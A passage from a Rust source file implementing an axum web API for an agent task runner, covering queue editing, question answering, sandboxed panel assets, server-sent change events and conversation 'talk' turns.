4543 let filtered = stats::filter_repo(&states, std::path::Path::new(repo));
4544 if filtered.is_empty() {
4545 return Err(ApiError::not_found(format!(
4546 "no runs recorded against repo `{repo}`"
4547 )));
4548 }
4549 stats::collect_refs(filtered)
4550 }
4551 None => stats::collect(&states),
4552 };
4553 let queue_counts = crate::queue::TaskCounts::of(&ui.queue.list());
4554 Ok(Json(StatsView {
4555 totals: StatsTotalsView::from(&collected.totals),
4556 agents: collected.agents.iter().map(AgentStatsView::from).collect(),
4557 reviewers: collected
4558 .reviewers
4559 .iter()
4560 .map(ReviewerStatsView::from)
4561 .collect(),
4562 advisors: collected
4563 .advisors
4564 .iter()
4565 .map(AdvisorStatsView::from)
4566 .collect(),
4567 e2e: E2eStatsView::from(&collected.e2e),
4568 release_bumps: ReleaseBumpStatsView::from(&collected.release_bumps),
4569 queue: TaskCountsView::from(queue_counts),
4570 runs_unreadable: runs_unreadable(&ui.runs),
4571 repos,
4572 repo: q.repo.clone(),
4573 }))
4574 })
4575 .await
4576}
4577
4578#[derive(Debug, Default, Deserialize)]
4581#[serde(default, deny_unknown_fields)]
4582struct HoldBody {
4583 reason: Option<String>,
4584}
4585
4586async fn queue_hold(
4587 State(ui): State<Arc<Ui>>,
4588 Path(id): Path<String>,
4589 body: std::result::Result<Json<HoldBody>, JsonRejection>,
4590) -> ApiResult<Json<TaskView>> {
4591 let body = match body {
4595 Ok(Json(body)) => body,
4596 Err(JsonRejection::MissingJsonContentType(_)) => HoldBody::default(),
4597 Err(e) => return Err(ApiError::bad_request(e.body_text())),
4598 };
4599 let reason = body.reason.filter(|r| !r.trim().is_empty());
4600 mutate(ui, id, move |t| {
4601 t.hold_manual(reason.clone());
4602 Ok(())
4603 })
4604 .await
4605}
4606
4607async fn queue_release(
4608 State(ui): State<Arc<Ui>>,
4609 Path(id): Path<String>,
4610) -> ApiResult<Json<TaskView>> {
4611 mutate(ui, id, |t| {
4612 t.release();
4613 Ok(())
4614 })
4615 .await
4616}
4617
4618#[derive(Debug, Deserialize)]
4620#[serde(deny_unknown_fields)]
4621struct PriorityBody {
4622 priority: i32,
4623}
4624
4625async fn queue_priority(
4631 State(ui): State<Arc<Ui>>,
4632 Path(id): Path<String>,
4633 body: std::result::Result<Json<PriorityBody>, JsonRejection>,
4634) -> ApiResult<Json<TaskView>> {
4635 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
4636 mutate(ui, id, move |t| t.set_priority(body.priority)).await
4637}
4638
4639#[derive(Debug, Deserialize)]
4641#[serde(deny_unknown_fields)]
4642struct EditBody {
4643 title: String,
4644 instruction: String,
4645 #[serde(default)]
4648 force: bool,
4649}
4650
4651async fn queue_edit(
4655 State(ui): State<Arc<Ui>>,
4656 Path(id): Path<String>,
4657 body: std::result::Result<Json<EditBody>, JsonRejection>,
4658) -> ApiResult<Json<TaskView>> {
4659 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
4660 let mut judged: Option<(String, PathBuf)> = None;
4664 if !body.force {
4665 let (queue, runs) = (ui.queue.clone(), ui.runs.clone());
4666 let (id, text) = (id.clone(), body.instruction.clone());
4667 let (seen, hits) = blocking(move || {
4668 let id = resolve_task(&queue, &id)?;
4669 let t = queue.get(&id)?;
4670 if text == t.instruction {
4671 return Ok((None, Vec::new()));
4672 }
4673 let hits = crate::dupes::check(&queue, &runs, &t.repo, &text, None, Some(&t.id));
4674 Ok((Some((t.instruction, t.repo)), hits))
4675 })
4676 .await?;
4677 if let Some((_, repo)) = &seen {
4678 let cfg = crate::config::Config::discover(repo, None)
4679 .ok()
4680 .map(|(c, _)| c);
4681 crate::dupes::screen_with_config(hits, &body.instruction, None, repo, cfg.as_ref())
4682 .await
4683 .map_err(|dup| {
4684 ApiError::conflict(dup.render(
4685 "Nothing was saved. If it is not a duplicate, repeat the request with \
4686 \"force\": true.",
4687 ))
4688 })?;
4689 }
4690 judged = seen;
4691 }
4692 let force = body.force;
4693 mutate(ui, id, move |t| {
4694 if !force && body.instruction != t.instruction {
4695 match &judged {
4696 Some((instruction, repo)) if *instruction == t.instruction && *repo == t.repo => {}
4697 _ => {
4698 anyhow::bail!("the task changed while it was being checked; repeat the request")
4699 }
4700 }
4701 }
4702 t.edit(body.title.clone(), body.instruction.clone())
4703 })
4704 .await
4705}
4706
4707async fn queue_done(
4715 State(ui): State<Arc<Ui>>,
4716 Path(id): Path<String>,
4717) -> ApiResult<Json<TaskView>> {
4718 let home = ui.home.clone();
4719 mutate(ui, id, move |t| {
4720 t.succeed();
4721 crate::daemon::supersede_prior_runs(t, &home);
4729 Ok(())
4730 })
4731 .await
4732}
4733
4734async fn queue_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
4742 blocking(move || {
4743 let id = resolve_task(&ui.queue, &id)?;
4744 let in_flight = crate::daemon::is_working_on_task(&ui.home, &id, jiff::Timestamp::now());
4745 ui.queue
4746 .remove(&id, in_flight, &ui.questions)
4747 .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
4748 Ok(StatusCode::NO_CONTENT)
4749 })
4750 .await
4751}
4752
4753async fn mutate(
4762 ui: Arc<Ui>,
4763 id: String,
4764 change: impl FnOnce(&mut Task) -> Result<()> + Send + 'static,
4765) -> ApiResult<Json<TaskView>> {
4766 blocking(move || {
4767 let id = resolve_task(&ui.queue, &id)?;
4768 let _claim = ui.queue.claim(&id).map_err(|e| {
4773 ApiError::conflict(format!(
4774 "{e:#} - a daemon is running this task, so it cannot be \
4775 changed from here yet"
4776 ))
4777 })?;
4778 let mut task = ui.queue.get(&id)?;
4779 change(&mut task).map_err(|e| match e.downcast::<crate::dupes::Duplicate>() {
4780 Ok(dup) => ApiError::conflict(dup.render(
4781 "Nothing was saved. If it is not a duplicate, repeat the request with \
4782 \"force\": true.",
4783 )),
4784 Err(e) => ApiError::bad_request_from(e),
4785 })?;
4786 ui.queue.put(&mut task)?;
4787 Ok(Json(TaskView::from(task)))
4788 })
4789 .await
4790}
4791
4792async fn events(State(ui): State<Arc<Ui>>) -> impl IntoResponse {
4800 let (tx, rx) = tokio::sync::mpsc::channel::<Event>(4);
4801 tokio::spawn(async move {
4802 let mut ticker = tokio::time::interval(POLL);
4803 let mut last: Option<(u64, u64, u64, u64, u64, u64)> = None;
4804 loop {
4805 ticker.tick().await;
4808 let state = Arc::clone(&ui);
4809 let revisions = tokio::task::spawn_blocking(move || {
4810 (
4811 state.queue.revision(),
4812 runs_revision(&state.runs),
4813 state.questions.revision(),
4814 state.talks.revision(),
4815 state.notices.revision(),
4816 state.lock_loop().rev,
4820 )
4821 })
4822 .await;
4823 let Ok(revisions) = revisions else { break };
4824 if last == Some(revisions) {
4825 continue;
4826 }
4827 last = Some(revisions);
4828 let payload = serde_json::json!({
4829 "queue_rev": revisions.0,
4830 "runs_rev": revisions.1,
4831 "questions_rev": revisions.2,
4832 "talks_rev": revisions.3,
4833 "notifications_rev": revisions.4,
4834 "loop_rev": revisions.5,
4835 });
4836 let Ok(event) = Event::default().event("change").json_data(payload) else {
4838 break;
4839 };
4840 if tx.send(event).await.is_err() {
4841 break;
4842 }
4843 }
4844 });
4845 Sse::new(ReceiverStream::new(rx).map(Ok::<Event, Infallible>))
4846 .keep_alive(KeepAlive::new().interval(KEEPALIVE))
4847}
4848
4849fn runs_revision(runs: &FsPath) -> u64 {
4856 use std::hash::{Hash as _, Hasher as _};
4857
4858 let mut entries: Vec<(String, u64)> = std::fs::read_dir(runs)
4859 .into_iter()
4860 .flatten()
4861 .flatten()
4862 .filter_map(|e| {
4863 let path = e.path().join("run.json");
4864 let mtime = path
4865 .metadata()
4866 .ok()?
4867 .modified()
4868 .ok()?
4869 .duration_since(std::time::UNIX_EPOCH)
4870 .ok()?
4871 .as_millis() as u64;
4872 let id = e.file_name().to_string_lossy().into_owned();
4873 Some((id, mtime))
4874 })
4875 .collect();
4876
4877 if entries.is_empty() {
4878 return 0;
4879 }
4880
4881 entries.sort_unstable();
4882 let mut hasher = std::hash::DefaultHasher::new();
4883 for (id, mtime) in &entries {
4884 id.hash(&mut hasher);
4885 mtime.hash(&mut hasher);
4886 }
4887 let h = hasher.finish();
4888 if h == 0 { 1 } else { h }
4889}
4890
4891fn run_ids(runs: &FsPath) -> Vec<String> {
4897 let mut ids: Vec<String> = std::fs::read_dir(runs)
4898 .into_iter()
4899 .flatten()
4900 .flatten()
4901 .filter(|e| e.path().join("run.json").is_file())
4902 .map(|e| e.file_name().to_string_lossy().into_owned())
4903 .collect();
4904 ids.sort_unstable_by(|a, b| b.cmp(a));
4906 ids
4907}
4908
4909fn read_run(runs: &FsPath, id: &str) -> Result<RunState> {
4911 let path = runs.join(id).join("run.json");
4912 let body =
4913 std::fs::read_to_string(&path).with_context(|| format!("read {}", path.display()))?;
4914 let state: RunState =
4915 serde_json::from_str(&body).with_context(|| format!("parse {}", path.display()))?;
4916 run::migrate_schema(state)
4921}
4922
4923#[must_use]
4931pub fn runs_unreadable(runs: &FsPath) -> usize {
4932 run_ids(runs)
4933 .into_iter()
4934 .filter(|id| read_run(runs, id).is_err())
4935 .count()
4936}
4937
4938fn resolve_run(runs: &FsPath, id: &str) -> ApiResult<String> {
4940 if runs.join(id).join("run.json").is_file() {
4941 return Ok(id.to_owned());
4942 }
4943 pick(run_ids(runs), id, "run")
4944}
4945
4946fn resolve_task(queue: &Queue, id: &str) -> ApiResult<String> {
4948 if queue.path_of(id).is_file() {
4949 return Ok(id.to_owned());
4950 }
4951 pick(queue.list().into_iter().map(|t| t.id).collect(), id, "task")
4952}
4953
4954#[derive(Debug, Serialize)]
4965struct QuestionView {
4966 #[serde(flatten)]
4967 question: Question,
4968 detail_md: Vec<md::Node>,
4969 thread_bodies_md: Vec<Vec<md::Node>>,
4971 waiting_on_agent: bool,
4981 holder: Option<&'static str>,
4985 deputies_enabled: bool,
4989 run_is_task: bool,
4992}
4993
4994impl QuestionView {
4995 fn of(question: Question, store: &ask::Questions, deputies_enabled: bool) -> Self {
4999 let base = md::ImageBase::QuestionPanel {
5000 id: question.id.clone(),
5001 };
5002 let holder = holder_of(&question, store.read_lease(&question.id).as_ref());
5003 Self {
5004 detail_md: md::to_nodes(&question.detail, &base),
5005 thread_bodies_md: question
5006 .thread
5007 .iter()
5008 .map(|t| md::to_nodes(&t.body, &base))
5009 .collect(),
5010 waiting_on_agent: question.waiting_on_agent(),
5011 holder,
5012 deputies_enabled,
5013 run_is_task: question.run_names_task(),
5014 question,
5015 }
5016 }
5017}
5018
5019fn deputy_config(repo: &std::path::Path) -> Option<Config> {
5023 Config::discover(repo, None).ok().map(|(c, _)| c)
5024}
5025
5026fn deputies_enabled(cfg: Option<&Config>, q: &Question) -> bool {
5028 crate::deputy::can_start(cfg, crate::deputy::agent_of(q))
5029}
5030
5031fn question_views(
5034 qs: Vec<Question>,
5035 store: &ask::Questions,
5036 load: impl FnOnce() -> Option<Config>,
5037) -> Vec<QuestionView> {
5038 if qs.is_empty() {
5039 return Vec::new();
5040 }
5041 let cfg = load();
5042 qs.into_iter()
5043 .map(|q| {
5044 let on = deputies_enabled(cfg.as_ref(), &q);
5045 QuestionView::of(q, store, on)
5046 })
5047 .collect()
5048}
5049
5050fn holder_of(q: &Question, lease: Option<&ask::Lease>) -> Option<&'static str> {
5060 if !q.status.open() {
5061 return None;
5062 }
5063 if q.cwd.is_none() && q.deputy.is_none() {
5064 return (matches!(
5065 q.node.as_str(),
5066 crate::conduct::NODE | crate::land::APPROVAL_NODE
5067 ) || crate::deputy::kind_of(q) == Some(crate::deputy::Kind::Release))
5068 .then_some("nobody");
5069 }
5070 Some(match lease.filter(|l| l.fresh(jiff::Timestamp::now())) {
5071 Some(_) if q.deputy.is_some() => "deputy",
5072 Some(l) if l.kind == ask::WaiterKind::Daemon => "daemon",
5073 Some(_) => "asker",
5074 None => "nobody",
5075 })
5076}
5077
5078async fn questions_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionView>>> {
5084 blocking(move || {
5085 Ok(Json(question_views(
5086 ui.questions.list(),
5087 &ui.questions,
5088 || deputy_config(&ui.repo),
5089 )))
5090 })
5091 .await
5092}
5093
5094async fn notifications_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
5097 blocking(move || {
5098 let items = ui.notices.list();
5099 let unread = items.iter().filter(|n| n.unread()).count();
5100 Ok(Json(
5101 serde_json::json!({ "unread": unread, "items": items }),
5102 ))
5103 })
5104 .await
5105}
5106
5107fn notice_error(e: anyhow::Error) -> ApiError {
5108 ApiError::not_found(format!("{e:#}"))
5111}
5112
5113async fn notification_read(
5115 State(ui): State<Arc<Ui>>,
5116 Path(id): Path<String>,
5117) -> ApiResult<Json<Notice>> {
5118 blocking(move || ui.notices.mark_read(&id).map(Json).map_err(notice_error)).await
5119}
5120
5121async fn notification_dismiss(
5123 State(ui): State<Arc<Ui>>,
5124 Path(id): Path<String>,
5125) -> ApiResult<Json<Notice>> {
5126 blocking(move || ui.notices.dismiss(&id).map(Json).map_err(notice_error)).await
5127}
5128
5129async fn notifications_read_all(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
5131 blocking(move || {
5132 let changed = ui.notices.mark_all_read()?;
5133 Ok(Json(serde_json::json!({ "marked": changed })))
5134 })
5135 .await
5136}
5137
5138#[derive(Debug, Default, Deserialize)]
5144#[serde(default, deny_unknown_fields)]
5145struct NewAnswer {
5146 choice: Option<String>,
5147 text: Option<String>,
5148}
5149
5150async fn question_answer(
5151 State(ui): State<Arc<Ui>>,
5152 Path(id): Path<String>,
5153 body: std::result::Result<Json<NewAnswer>, axum::extract::rejection::JsonRejection>,
5154) -> ApiResult<Json<QuestionView>> {
5155 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
5156 let answer = match (body.choice, body.text) {
5157 (Some(c), None) => Answer::Choice(c),
5158 (None, Some(t)) => Answer::Text(t),
5159 (Some(_), Some(_)) => {
5160 return Err(ApiError::bad_request(
5161 "send either `choice` or `text`, not both",
5162 ));
5163 }
5164 (None, None) => {
5165 return Err(ApiError::bad_request("send a `choice` or a `text`"));
5166 }
5167 };
5168
5169 blocking(move || {
5170 let id = resolve_question(&ui.questions, &id)?;
5171 let q = ui
5172 .questions
5173 .get(&id)
5174 .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
5175 if !q.status.open() {
5176 return Err(ApiError::conflict(format!(
5180 "question {} is already {}",
5181 q.short(),
5182 q.status.as_str()
5183 )));
5184 }
5185 let (q, ()) = ui
5189 .questions
5190 .update(&q.id, |r| r.answer(answer))
5191 .map_err(ApiError::bad_request_from)?;
5192 let on = deputies_enabled(deputy_config(&ui.repo).as_ref(), &q);
5193 Ok(Json(QuestionView::of(q, &ui.questions, on)))
5194 })
5195 .await
5196}
5197
5198#[derive(Debug, Deserialize)]
5200#[serde(deny_unknown_fields)]
5201struct NewSay {
5202 body: String,
5203}
5204
5205async fn question_say(
5215 State(ui): State<Arc<Ui>>,
5216 Path(id): Path<String>,
5217 body: std::result::Result<Json<NewSay>, JsonRejection>,
5218) -> ApiResult<Json<QuestionView>> {
5219 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
5220 blocking(move || {
5221 let id = resolve_question(&ui.questions, &id)?;
5222 let q = ui
5223 .questions
5224 .get(&id)
5225 .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
5226 if !q.status.open() {
5227 return Err(ApiError::conflict(format!(
5231 "question {} is already {}",
5232 q.short(),
5233 q.status.as_str()
5234 )));
5235 }
5236 let (q, ()) = ui
5239 .questions
5240 .update(&q.id, |r| r.say(body.body))
5241 .map_err(ApiError::bad_request_from)?;
5242 let on = deputies_enabled(deputy_config(&ui.repo).as_ref(), &q);
5243 Ok(Json(QuestionView::of(q, &ui.questions, on)))
5244 })
5245 .await
5246}
5247
5248fn resolve_question(store: &Questions, id: &str) -> ApiResult<String> {
5250 if store.path_of(id).is_file() {
5251 return Ok(id.to_owned());
5252 }
5253 pick(
5254 store.list().into_iter().map(|q| q.id).collect(),
5255 id,
5256 "question",
5257 )
5258}
5259
5260async fn question_panel(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Response> {
5275 blocking(move || {
5276 let id = resolve_question(&ui.questions, &id)?;
5277 let Some(html) = ui.questions.panel_html(&id) else {
5278 return Err(ApiError::not_found(format!("question {id} has no panel")));
5279 };
5280 Ok(panel_response(
5281 "text/html; charset=utf-8",
5282 false,
5283 html.into_bytes(),
5284 ))
5285 })
5286 .await
5287}
5288
5289async fn question_asset(
5317 State(ui): State<Arc<Ui>>,
5318 Path((id, name)): Path<(String, String)>,
5319) -> ApiResult<Response> {
5320 if !crate::ask::valid_asset_name(&name) {
5323 return Err(ApiError::bad_request(format!(
5324 "`{name}` is not a usable asset name"
5325 )));
5326 }
5327 blocking(move || {
5328 let id = resolve_question(&ui.questions, &id)?;
5329 let asset = ui
5330 .questions
5331 .panel_asset(&id, &name)
5332 .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
5333 let Some(bytes) = asset else {
5334 return Err(ApiError::not_found(format!(
5335 "question {id} has no asset `{name}`"
5336 )));
5337 };
5338 Ok(panel_response(
5339 asset_content_type(&name),
5340 is_svg(&name),
5341 bytes,
5342 ))
5343 })
5344 .await
5345}
5346
5347fn asset_content_type(name: &str) -> &'static str {
5360 match extension(name).as_deref() {
5361 Some("png") => "image/png",
5362 Some("jpg" | "jpeg") => "image/jpeg",
5363 Some("gif") => "image/gif",
5364 Some("webp") => "image/webp",
5365 Some("svg") => "image/svg+xml",
5366 Some("css") => "text/css; charset=utf-8",
5367 Some("txt") => "text/plain; charset=utf-8",
5368 _ => "application/octet-stream",
5369 }
5370}
5371
5372fn is_svg(name: &str) -> bool {
5375 extension(name).as_deref() == Some("svg")
5376}
5377
5378fn extension(name: &str) -> Option<String> {
5380 name.rsplit_once('.')
5381 .map(|(_, ext)| ext.to_ascii_lowercase())
5382}
5383
5384fn panel_response(content_type: &'static str, download: bool, body: Vec<u8>) -> Response {
5401 let mut res = (
5402 [
5403 (header::CONTENT_TYPE, content_type),
5404 (header::CONTENT_SECURITY_POLICY, PANEL_CSP),
5405 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
5406 (header::REFERRER_POLICY, "no-referrer"),
5407 ],
5408 body,
5409 )
5410 .into_response();
5411 if download {
5412 res.headers_mut().insert(
5413 header::CONTENT_DISPOSITION,
5414 HeaderValue::from_static("attachment"),
5415 );
5416 }
5417 res
5418}
5419
5420#[derive(Debug, Serialize)]
5426struct TalkView {
5427 #[serde(flatten)]
5428 talk: Talk,
5429 turn_bodies_md: Vec<Vec<md::Node>>,
5430 thinking: bool,
5438 context: talk::ContextUsage,
5442}
5443
5444impl TalkView {
5445 fn new(talk: Talk, thinking: bool) -> Self {
5448 let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
5449 Self::with_config(talk, thinking, cfg.as_ref())
5450 }
5451
5452 fn with_config(talk: Talk, thinking: bool, cfg: Option<&Config>) -> Self {
5455 let context = talk::context_usage(&talk, cfg);
5456 let turn_bodies_md = talk
5457 .turns
5458 .iter()
5459 .map(|turn| md::to_nodes(&turn.body, &md::ImageBase::None))
5460 .collect();
5461 Self {
5462 turn_bodies_md,
5463 thinking,
5464 context,
5465 talk,
5466 }
5467 }
5468}
5469
5470#[derive(Debug, Serialize)]
5475struct TalkDetailView {
5476 #[serde(flatten)]
5477 view: TalkView,
5478 tasks: Vec<TaskView>,
5479 roster: Vec<RosterEntry>,
5482}
5483
5484#[derive(Debug, Serialize)]
5486struct RosterEntry {
5487 id: String,
5488 kind: AgentKind,
5489 runnable: bool,
5491}
5492
5493async fn talks_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<TalkView>>> {
5498 blocking(move || {
5499 let mut configs: HashMap<PathBuf, Option<Config>> = HashMap::new();
5500 Ok(Json(
5501 ui.talks
5502 .list()
5503 .into_iter()
5504 .map(|talk| {
5505 let thinking = ui.is_thinking(&talk.id);
5506 let cfg = configs
5507 .entry(talk.repo.clone())
5508 .or_insert_with(|| Config::discover(&talk.repo, None).ok().map(|(c, _)| c));
5509 TalkView::with_config(talk, thinking, cfg.as_ref())
5510 })
5511 .collect(),
5512 ))
5513 })
5514 .await
5515}
5516
5517#[derive(Debug, Default, Deserialize)]
5522#[serde(default)]
5523struct NewTalk {
5524 agent: Option<String>,
5525 repo: Option<PathBuf>,
5526}
5527
5528async fn talk_post(
5531 State(ui): State<Arc<Ui>>,
5532 body: std::result::Result<Json<NewTalk>, JsonRejection>,
5533) -> ApiResult<impl IntoResponse> {
5534 let body = match body {
5538 Ok(Json(body)) => body,
5539 Err(JsonRejection::MissingJsonContentType(_)) => NewTalk::default(),
5540 Err(e) => return Err(ApiError::bad_request(e.body_text())),
5541 };
5542 let repo = body.repo.clone().unwrap_or_else(|| ui.repo.clone());
5543 let cfg = config_for(&repo).await?;
5544 let view = blocking(move || {
5545 let talk = talk::begin(&ui.talks, &cfg, repo, body.agent.as_deref())?;
5546 let thinking = ui.is_thinking(&talk.id);
5547 Ok(TalkView::new(talk, thinking))
5548 })
5549 .await?;
5550 Ok((StatusCode::CREATED, Json(view)))
5551}
5552
5553async fn talk_detail(
5555 State(ui): State<Arc<Ui>>,
5556 Path(id): Path<String>,
5557) -> ApiResult<Json<TalkDetailView>> {
5558 blocking(move || {
5559 let id = resolve_talk(&ui.talks, &id)?;
5560 let talk = ui.talks.get(&id)?;
5561 let thinking = ui.is_thinking(&talk.id);
5562 let tasks = talk::tasks_of(&ui.queue, &talk.id)
5563 .into_iter()
5564 .map(TaskView::from)
5565 .collect();
5566 let roster = Config::discover(&talk.repo, None)
5567 .map(|(cfg, _)| {
5568 cfg.agents
5569 .iter()
5570 .map(|a| RosterEntry {
5571 id: a.id.clone(),
5572 kind: a.kind,
5573 runnable: agent::installed(a),
5574 })
5575 .collect()
5576 })
5577 .unwrap_or_default();
5578 Ok(Json(TalkDetailView {
5579 view: TalkView::new(talk, thinking),
5580 tasks,
5581 roster,
5582 }))
5583 })
5584 .await
5585}
5586
5587#[derive(Debug, Default, Deserialize)]
5593#[serde(default, deny_unknown_fields)]
5594struct NewTalkTurn {
5595 text: String,
5596 attachments: Vec<String>,
5597}
5598
5599#[derive(Debug, Deserialize)]
5600#[serde(deny_unknown_fields)]
5601struct EditTalkPending {
5602 text: String,
5603 expected_text: String,
5604 expected_attachments: Vec<String>,
5605}
5606
5607#[derive(Debug, Deserialize)]
5608#[serde(deny_unknown_fields)]
5609struct ClearTalkPending {
5610 expected_text: String,
5611 expected_attachments: Vec<String>,
5612}
5613
5614async fn talk_say(
5626 State(ui): State<Arc<Ui>>,
5627 Path(id): Path<String>,
5628 body: std::result::Result<Json<NewTalkTurn>, JsonRejection>,
5629) -> ApiResult<(StatusCode, Json<TalkView>)> {
5630 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
5631 if body.text.trim().is_empty() && body.attachments.is_empty() {
5632 return Err(ApiError::bad_request("say something"));
5633 }
5634
5635 let id = {
5636 let ui = Arc::clone(&ui);
5637 let asked = id.clone();
5638 blocking(move || resolve_talk(&ui.talks, &asked)).await?
5639 };
5640 {
5644 let ui = Arc::clone(&ui);
5645 let id = id.clone();
5646 blocking(move || {
5647 let talk = ui.talks.get(&id)?;
5648 if !talk.status.open() {
5649 return Err(ApiError::conflict(format!(
5650 "talk {} is {} and takes no more turns",
5651 talk.short(),
5652 talk.status.as_str()
5653 )));
5654 }
5655 Ok(())
5656 })
5657 .await?;
5658 }
5659
5660 let attachments = {
5665 let ui = Arc::clone(&ui);
5666 let id = id.clone();
5667 let ids = body.attachments.clone();
5668 blocking(move || {
5669 ids.into_iter()
5670 .map(|att_id| {
5671 ui.talks.attachment_meta(&id, &att_id)?.ok_or_else(|| {
5672 ApiError::bad_request(format!("unknown attachment `{att_id}`"))
5673 })
5674 })
5675 .collect::<ApiResult<Vec<talk::Attachment>>>()
5676 })
5677 .await?
5678 };
5679
5680 let start = {
5685 let ui = Arc::clone(&ui);
5686 let id = id.clone();
5687 blocking(move || ui.begin_talk_turn_unless_pending(&id)).await?
5688 };
5689 let turn_guard = match start {
5690 TalkTurnStart::Claimed(turn_guard) => turn_guard,
5691 TalkTurnStart::Pending => {
5692 return Err(ApiError::conflict(
5693 "a queued draft is waiting; resume it, edit it, or clear it before sending another message",
5694 ));
5695 }
5696 TalkTurnStart::Busy => {
5697 let (tx, rx) = tokio::sync::oneshot::channel();
5713 tokio::spawn({
5714 let ui = Arc::clone(&ui);
5715 let id = id.clone();
5716 let said = body.text.clone();
5717 async move {
5718 let written = blocking({
5719 let ui = Arc::clone(&ui);
5720 let id = id.clone();
5721 move || {
5722 let mut talk = ui.talks.get(&id)?;
5723 #[cfg(test)]
5728 if let Some(gate) = ui
5729 .busy_queue_gate
5730 .lock()
5731 .unwrap_or_else(PoisonError::into_inner)
5732 .take()
5733 {
5734 let _ = gate.reached.send(());
5735 let _ = gate.release.recv();
5736 }
5737 if let Err(error) =
5738 talk::queue(&mut talk, &ui.talks, &said, attachments)
5739 {
5740 if let Ok(fresh) = ui.talks.get(&id) {
5741 if !fresh.status.open() {
5742 return Err(ApiError::conflict(format!(
5743 "talk {} is {} and takes no more turns",
5744 fresh.short(),
5745 fresh.status.as_str()
5746 )));
5747 }
5748 }
5749 return Err(ApiError::from(error));
5750 }
5751 let claim = match ui.begin_queued_talk_turn(&id)? {
5762 Some(turn_guard) => {
5763 let (cfg, _) = Config::discover(&talk.repo, None)?;
5764 Some((talk.clone(), cfg, turn_guard))
5765 }
5766 None => None,
5767 };
5768 let thinking = ui.is_thinking(&id);
5769 Ok((TalkView::new(talk, thinking), claim))
5770 }
5771 })
5772 .await;
5773 let (view, reclaimed) = match written {
5774 Ok(pair) => pair,
5775 Err(e) => {
5776 let _ = tx.send(Err(e));
5781 return;
5782 }
5783 };
5784 let _ = tx.send(Ok(view));
5787 if let Some((talk, cfg, turn_guard)) = reclaimed {
5788 let talks = ui.talks.clone();
5789 drain_loop(talk, talks, cfg, id, turn_guard).await;
5790 }
5791 }
5792 });
5793 let view = rx
5794 .await
5795 .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
5796 return Ok((StatusCode::ACCEPTED, Json(view)));
5797 }
5798 };
5799
5800 let (talk, cfg) = {
5801 let ui = Arc::clone(&ui);
5802 let id = id.clone();
5803 blocking(move || {
5804 let talk = ui.talks.get(&id)?;
5805 let (cfg, _) = Config::discover(&talk.repo, None)?;
5806 Ok((talk, cfg))
5807 })
5808 .await?
5809 };
5810
5811 let talks = ui.talks.clone();
5812 let (tx, rx) = tokio::sync::oneshot::channel();
5827 tokio::spawn({
5828 let ui = Arc::clone(&ui);
5829 let talks = talks.clone();
5830 let id = id.clone();
5831 let said = body.text.clone();
5832 let mut talk = talk.clone();
5833 async move {
5834 let recorded = blocking({
5835 let talks = talks.clone();
5836 move || {
5837 if let Err(error) = talk::record(&mut talk, &talks, &said, attachments) {
5838 if let Ok(fresh) = talks.get(&talk.id) {
5839 if !fresh.status.open() {
5840 return Err(ApiError::conflict(format!(
5841 "talk {} is {} and takes no more turns",
5842 fresh.short(),
5843 fresh.status.as_str()
5844 )));
5845 }
5846 }
5847 return Err(ApiError::from(error));
5848 }
5849 Ok((said.trim().to_owned(), talk))
5855 }
5856 })
5857 .await;
5858 let (text, mut talk) = match recorded {
5859 Ok(pair) => pair,
5860 Err(e) => {
5861 let _ = tx.send(Err(e));
5865 return;
5866 }
5867 };
5868 let queued = talk.clone();
5869 let thinking = ui.is_thinking(&id);
5870 let _ = tx.send(Ok((queued, thinking)));
5873
5874 if let Err(e) = talk::respond(&mut talk, &talks, &cfg, &text).await {
5875 tracing::warn!("talk {id} turn failed: {e:#}");
5879 }
5880 drain_loop(talk, talks, cfg, id, turn_guard).await;
5883 }
5884 });
5885
5886 let (queued, thinking) = rx
5887 .await
5888 .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
5889
5890 Ok((StatusCode::ACCEPTED, Json(TalkView::new(queued, thinking))))
5892}
5893
5894async fn talk_pending_resume(
5898 State(ui): State<Arc<Ui>>,
5899 Path(id): Path<String>,
5900) -> ApiResult<(StatusCode, Json<TalkView>)> {
5901 let id = {
5902 let ui = Arc::clone(&ui);
5903 let asked = id.clone();
5904 blocking(move || resolve_talk(&ui.talks, &asked)).await?
5905 };
5906 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
5907 return Err(ApiError::conflict(
5908 "a talk turn is already running; the queued draft will be handled by it",
5909 ));
5910 };
5911 let (talk, cfg) = {
5912 let ui = Arc::clone(&ui);
5913 let id = id.clone();
5914 blocking(move || {
5915 let talk = ui.talks.get(&id)?;
5916 if !talk.status.open() {
5917 return Err(ApiError::conflict(format!(
5918 "talk {} is {} and takes no more turns",
5919 talk.short(),
5920 talk.status.as_str()
5921 )));
5922 }
5923 if talk.pending.is_empty() && talk.pending_attachments.is_empty() {
5924 return Err(ApiError::conflict("there is no queued draft to resume"));
5925 }
5926 let (cfg, _) = Config::discover(&talk.repo, None)?;
5927 Ok((talk, cfg))
5928 })
5929 .await?
5930 };
5931 let view = TalkView::new(talk.clone(), true);
5932 let talks = ui.talks.clone();
5933 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
5934 Ok((StatusCode::ACCEPTED, Json(view)))
5935}
5936
5937async fn drain_loop(mut talk: Talk, talks: Talks, cfg: Config, id: String, turn: TalkTurnGuard) {
5953 let live_set = Arc::clone(&turn.turns);
5954 let mut turn = Some(turn);
5962 loop {
5963 let observed = live_set
5967 .lock()
